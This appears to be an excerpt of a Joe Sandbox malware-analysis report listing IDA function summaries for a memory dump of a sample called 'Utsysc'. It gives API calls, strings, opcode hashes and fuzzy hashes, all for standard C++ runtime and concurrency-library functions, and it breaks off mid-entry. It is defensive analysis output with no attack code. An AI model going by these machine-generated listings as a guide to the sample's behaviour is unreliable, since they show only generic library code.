Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 304df5613c63a2e2598d413a3f9820f29b6ff742af90662a863d3d4d84a1c8b1
Instruction ID: 9a6cc12037c154321fd5c91449bf1d6174080f424409812780d828e1f06833ad
Opcode Fuzzy Hash: 304df5613c63a2e2598d413a3f9820f29b6ff742af90662a863d3d4d84a1c8b1
Instruction Fuzzy Hash: 4181A13190028DABDF169F95D941BFE7FB1AF65388F041098ED407B2A2C7728D15DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EE249A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 148windowCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE24EA

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00EE2503
Concurrency::location::_Assign.LIBCMT ref: 00EE2519
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00EE2586
Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 00EE258E
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00EE25B5
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 00EE25C1
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00EE25F9
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00EE2618
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00EE2626
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 00EE264D

Strings

3, xrefs: 00EE24D5, 00EE2520, 00EE25E8, 00EE2607

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID: 3
API String ID: 3608406545-3930663615
Opcode ID: 55fe6663cbcedd178f058e3a78abc087656e5e2c36cb9d4cba9e88edb05566d6
Instruction ID: 8544fb79c52bc0a8478c07f597e9aeea2d3a1e7b34eafc0caca291de9b32b531
Opcode Fuzzy Hash: 55fe6663cbcedd178f058e3a78abc087656e5e2c36cb9d4cba9e88edb05566d6
Instruction Fuzzy Hash: 5951A570700208CFCB04EF65C595BA977A9FF48310F1511A9EE46AB387CB70AD45DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00ED62A2 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 00ED62B1

Part of subcall function 00ED759D: GetVersionExW.KERNEL32(?), ref: 00ED75C1
Part of subcall function 00ED759D: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00ED7660

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00ED62C5
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00ED62E6
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED634F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED6383

Part of subcall function 00ED425D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00ED427D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00ED6403

Part of subcall function 00ED5DCC: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00ED5DE0

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED644B

Part of subcall function 00ED4232: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED424E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED645F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED6470
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00ED64BD
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00ED64E2
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00ED64EE

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 2aba2cc9c3ffe4c45ef0819041bdb3488e18581f58023067c0bf0c443423a819
Instruction ID: 5d1601d122d5ac6ac9d138364331d1d43c26608cb320b31cc2bfde302f7ac89b
Opcode Fuzzy Hash: 2aba2cc9c3ffe4c45ef0819041bdb3488e18581f58023067c0bf0c443423a819
Instruction Fuzzy Hash: B781C371A0821A8BCF08DFA8E8A05BDB7F5FF98304B15912FD451B7390D774AA46DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EF2C30 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00EF2C74

Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF282A
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF283C
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF284E
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF2860
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF2872
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF2884
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF2896
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF28A8
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF28BA
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF28CC
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF28DE
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF28F0
Part of subcall function 00EF280D: _free.LIBCMT ref: 00EF2902

_free.LIBCMT ref: 00EF2C69

Part of subcall function 00EEE175: HeapFree.KERNEL32(00000000,00000000,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?), ref: 00EEE18B
Part of subcall function 00EEE175: GetLastError.KERNEL32(?,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?,?), ref: 00EEE19D

_free.LIBCMT ref: 00EF2C8B
_free.LIBCMT ref: 00EF2CA0
_free.LIBCMT ref: 00EF2CAB
_free.LIBCMT ref: 00EF2CCD
_free.LIBCMT ref: 00EF2CE0
_free.LIBCMT ref: 00EF2CEE
_free.LIBCMT ref: 00EF2CF9
_free.LIBCMT ref: 00EF2D31
_free.LIBCMT ref: 00EF2D38
_free.LIBCMT ref: 00EF2D55
_free.LIBCMT ref: 00EF2D6D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 77981d124fe15ca48601c2dc2708abf68b6d38ef2a4c6096bcfb6a362e48033a
Instruction ID: 073ada33caa43d2ef9979d23a0fd82ab8b57e04878a657107feaf912024f9ad1
Opcode Fuzzy Hash: 77981d124fe15ca48601c2dc2708abf68b6d38ef2a4c6096bcfb6a362e48033a
Instruction Fuzzy Hash: 44318031600748AFEB21AB79D845B6AB3E8EF41754F24681DE649F7261DF76EC80CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00ECFEC2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00ECFEEA
GetCurrentThreadId.KERNEL32 ref: 00ECFF07
GetCurrentThreadId.KERNEL32 ref: 00ECFF1C
_xtime_get.LIBCPMT ref: 00ECFF68
GetCurrentThreadId.KERNEL32 ref: 00ECFF9A
__Xtime_diff_to_millis2.LIBCPMT ref: 00ECFFB2
_xtime_get.LIBCPMT ref: 00ECFFD1
GetCurrentThreadId.KERNEL32 ref: 00ECFFDB
GetCurrentThreadId.KERNEL32 ref: 00ED0032

Strings

3, xrefs: 00ECFEFC, 00ECFF32, 00ECFFBC, 00ECFFEE
y0, xrefs: 00ECFF62, 00ECFFAB, 00ECFFCB, 00ECFF67, 00ECFFAE, 00ECFFD0

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: 3$y0
API String ID: 3943753294-2141299331
Opcode ID: 35470abed28d29745778830c33456cdd109993411bf4cb8b68124c8fcabd90df
Instruction ID: 706981093a73a23f2fde82a4aeef2859075f4f84243c699d46bec6f6fbf965f6
Opcode Fuzzy Hash: 35470abed28d29745778830c33456cdd109993411bf4cb8b68124c8fcabd90df
Instruction Fuzzy Hash: BE516F70A00209DFCF15DF24CA81BA977F1FF09314B25646EE906AB296C731ED82DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ED34E1 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00ED7657), ref: 00ED34EF
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 00ED34FD
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 00ED350B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 00ED3539
GetLastError.KERNEL32(?,?,?,00ED7657), ref: 00ED3554
GetLastError.KERNEL32(?,?,?,00ED7657), ref: 00ED3560
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ED3576

Strings

SetThreadGroupAffinity, xrefs: 00ED34F7
GetCurrentProcessorNumberEx, xrefs: 00ED352E
GetThreadGroupAffinity, xrefs: 00ED3503
kernel32.dll, xrefs: 00ED34EA

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 3aa72ea39261f74041be7f243a7ee288a7c2ebf41f3f1aa2790cb028595cefb4
Instruction ID: 897b53ddaf0d485de25f0d2d69599acdd148dcfbb3ab4867c2f8bd9c133d79cc
Opcode Fuzzy Hash: 3aa72ea39261f74041be7f243a7ee288a7c2ebf41f3f1aa2790cb028595cefb4
Instruction Fuzzy Hash: EE01DBB1604309ABD700BBB9BC499AB3BECF940B54310152FB711F1291EEA4EA057666

Uniqueness

Uniqueness Score: -1.00%

Function 00EE8D15 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00EE8E10
type_info::operator==.LIBVCRUNTIME ref: 00EE8E37
___TypeMatch.LIBVCRUNTIME ref: 00EE8F43
CatchIt.LIBVCRUNTIME ref: 00EE8F98
IsInExceptionSpec.LIBVCRUNTIME ref: 00EE901E
_UnwindNestedFrames.LIBCMT ref: 00EE90A5
CallUnexpected.LIBVCRUNTIME ref: 00EE90C0

Strings

csm, xrefs: 00EE8DBD
csm, xrefs: 00EE8E6E
csm, xrefs: 00EE8D50

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: fecf24e7c60323f32d42ea6ee558700675947b8939b53ec4ae11367f4ceefc44
Instruction ID: bbc18e7373b874a45ee081624e4b362462d8f3721872d3d35d9c2e312641c338
Opcode Fuzzy Hash: fecf24e7c60323f32d42ea6ee558700675947b8939b53ec4ae11367f4ceefc44
Instruction Fuzzy Hash: 04C1A971C0028DDFCF25DFA6D9809AEBBB9BF18314F04615AE8097B252CB31DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF538C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EF5045: CreateFileW.KERNEL32(00000000,?,?,5T,?,?,00000000,?,00EF5435,00000000,0000000C), ref: 00EF5062

GetLastError.KERNEL32 ref: 00EF54A0
__dosmaperr.LIBCMT ref: 00EF54A7
GetFileType.KERNEL32(00000000), ref: 00EF54B3
GetLastError.KERNEL32 ref: 00EF54BD
__dosmaperr.LIBCMT ref: 00EF54C6
CloseHandle.KERNEL32(00000000), ref: 00EF54E6
CloseHandle.KERNEL32(00EEE012), ref: 00EF5633
GetLastError.KERNEL32 ref: 00EF5665
__dosmaperr.LIBCMT ref: 00EF566C

Strings

H, xrefs: 00EF55F1

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: fc65afd7d06ab537a97cb278f3daa849b023ef4dc09ae74d9e5d13bb4ea55c65
Instruction ID: 904dbf8e9879e694091912e5b330ebfad23bf3bbd90fb46fbef4224af7ac6aa2
Opcode Fuzzy Hash: fc65afd7d06ab537a97cb278f3daa849b023ef4dc09ae74d9e5d13bb4ea55c65
Instruction Fuzzy Hash: 14A13033A0454C9FCF19EF68DC517BE3BE1AB1A324F181159EA11BB291DB359C02CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EE63DE Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00EE63F0

Part of subcall function 00EE5F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE5F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00EE6411
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00EE641E
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00EE646C
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00EE6514
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00EE6546

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: f52289cb5bd914a4615a77fef62634c8b1c148d705aeb49f4ca71cdd79ac1543
Instruction ID: 9c82fe69c3343a5cf7a5c8fd70bfa90a405de20c140946de63086394312ed3f5
Opcode Fuzzy Hash: f52289cb5bd914a4615a77fef62634c8b1c148d705aeb49f4ca71cdd79ac1543
Instruction Fuzzy Hash: 7F71B070A0028DAFDF05DF55C980ABE7BB2AF65388F045099EC51BB292C732DD19DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EDADD5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00EDAE21
SwitchToThread.KERNEL32(?), ref: 00EDAE44
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00EDAE63
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00EDAE7F
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00EDAE8A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDAEB1

Strings

3, xrefs: 00EDAE10, 00EDAE55
count, xrefs: 00EDADEF
ppVirtualProcessorRoots, xrefs: 00EDAEA9

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: 3$count$ppVirtualProcessorRoots
API String ID: 3791123369-2948762459
Opcode ID: 104df79f90c9ced289729c1ab26196887b4ca17e1de06e1b4cf879fb2a3ab9e5
Instruction ID: 4856c6fb718fc9c17409fb11bddda0b4b469a1ddbb690c82a246b90524941101
Opcode Fuzzy Hash: 104df79f90c9ced289729c1ab26196887b4ca17e1de06e1b4cf879fb2a3ab9e5
Instruction Fuzzy Hash: 5D217334A002099FCF04EFA5C9959AEB7B5FF45314F0454AAE901BB351CB70AE42DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EDA44B Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00EDA490
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EDA4C2
List.LIBCONCRT ref: 00EDA4FD
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00EDA50E
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EDA52A
List.LIBCONCRT ref: 00EDA565
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00EDA576
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EDA591
List.LIBCONCRT ref: 00EDA5CC
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00EDA5D9

Part of subcall function 00ED9950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED9968
Part of subcall function 00ED9950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED997A

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction ID: 9683874f42edd9b1b6bfaf08759f8b62611b0e56b0fbcc11248ac90aa0211563
Opcode Fuzzy Hash: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction Fuzzy Hash: 75512F75A00219ABDB08DF54C595BEDB3B8FF08304F44547AE915AB382DB70EE46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE6BB Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00EEE6D1

Part of subcall function 00EEE175: HeapFree.KERNEL32(00000000,00000000,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?), ref: 00EEE18B
Part of subcall function 00EEE175: GetLastError.KERNEL32(?,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?,?), ref: 00EEE19D

_free.LIBCMT ref: 00EEE6DD
_free.LIBCMT ref: 00EEE6E8
_free.LIBCMT ref: 00EEE6F3
_free.LIBCMT ref: 00EEE6FE
_free.LIBCMT ref: 00EEE709
_free.LIBCMT ref: 00EEE714
_free.LIBCMT ref: 00EEE71F
_free.LIBCMT ref: 00EEE72A
_free.LIBCMT ref: 00EEE738

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 65849cd197285e24b836b064278a23453fe7f39a49d049105793f34e43411a7c
Instruction ID: 255bc7f1292f328a2803cdee95292236319fcd4b963be797f47bd59404a1bff9
